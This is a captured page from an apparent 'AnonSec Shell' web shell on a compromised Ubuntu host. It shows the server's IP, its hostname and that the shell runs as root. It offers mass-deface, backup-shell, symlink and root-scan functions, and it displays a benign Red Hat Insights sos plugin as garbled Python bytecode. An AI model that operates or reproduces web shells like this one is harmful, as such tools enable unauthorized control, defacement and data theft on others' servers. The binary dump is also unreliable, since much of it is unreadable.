AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/insights.cpython-310.pyc
o

���b��@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�RedHatPluginc@s4eZdZdZdZdZdZdZdZdd�Z	d	d
�Z
dS)�RedHatInsightsaPlugin to capture configuration and logging for the Red Hat Insights
    client. Insights is used to provide ongoing analysis of systems for
    proactive problem mitigation, with the client being one of the primary
    sources of data for the service.

    This plugin will capture configuration information under
    /etc/insighits-client, as well as logs from /var/log/insights-client. A
    single connection test via the `insights-client` command is performed and
    recorded as well for troubleshooting purposes.
    z)Red Hat Insights configuration and client�insights)zredhat-access-insightszinsights-client)�system�sysmgmt)z)/etc/insights-client/insights-client.confz /etc/insights-client/.registeredz7/etc/redhat-access-insights/redhat-access-insights.confcCsR|�|j�|�d�|�d�|�d�r|�d�n|�d�|jddd�dS)	Nz/var/lib/insightsz%/var/log/redhat-access-insights/*.log�all_logsz/var/log/insights-client/*.log*z,/var/log/insights-client/insights-client.logz-insights-client --test-connection --net-debug�)�timeout)�
add_copy_spec�config�
get_option�add_cmd_output)�self�r�=/usr/lib/python3/dist-packages/sos/report/plugins/insights.py�setup"s




�zRedHatInsights.setupcCs,|jD]}|�|dd�|�|dd�qdS)Nz(password[\t\ ]*=[\t\ ]*)(.+)z
\1********z(proxy[\t\ ]*=.*)(:)(.*)(@.*)z\1\2********\4)r�do_file_sub)r�confrrr�postproc3s
���zRedHatInsights.postprocN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�packages�profilesrrrrrrrrsrN)�sos.report.pluginsrrrrrrr�<module>s

Anon7 - 2022
AnonSec Team